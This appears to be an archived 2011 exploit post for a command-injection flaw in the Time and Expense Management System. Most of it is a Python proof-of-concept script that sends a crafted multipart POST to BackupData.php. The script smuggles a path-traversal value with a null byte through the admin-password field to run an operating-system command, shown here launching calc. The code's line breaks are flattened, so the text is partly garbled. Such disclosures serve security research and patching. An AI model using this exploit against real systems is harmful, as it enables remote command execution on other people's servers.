Home / exploitsPDF  

Time And Expense Management System Command Injection

Posted on 03 May 2011

# ------------------------------------------------------------------------ # Software................Time and Expense Management System # Vulnerability...........Command Injection # Threat Level............Very Critical (5/5) # Download................http://sourceforge.net/projects/tems/ # Discovery Date..........4/27/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # Email...................John Leitch <john@autosectools.com> # ------------------------------------------------------------------------ # # # --Description-- # # A command injection vulnerability in Time and Expense Management # System can be exploited to execute arbitrary operating system commands. # # # --PoC-- import socket host = 'localhost' path = '/tems' port = 80 def run_command(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) body = '------x '\n'Content-Disposition: form-data; name="toFile" '\n' '\n'./a '\n'------x '\n'Content-Disposition: form-data; name="DB_Admin_id" '\n' '\n'a '\n'------x '\n'Content-Disposition: form-data; name="DB_Admin_Password" '\n' '\n'../../../../../../../calcx00a '\n'------x-- '\n' ' s.send('POST %s/systemadmin/BackupData.php HTTP/1.1 ' 'Host: localhost ' 'Proxy-Connection: keep-alive ' 'User-Agent: x ' 'Content-Length: %d ' 'Cache-Control: max-age=0 ' 'Origin: null ' 'Content-Type: multipart/form-data; boundary=----x ' 'Accept: text/html ' 'Accept-Language: en-US,en;q=0.8 ' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 ' ' %s' % (path, len(body), body)) print 'request sent, check for calc using the task manger' run_command()

 

TOP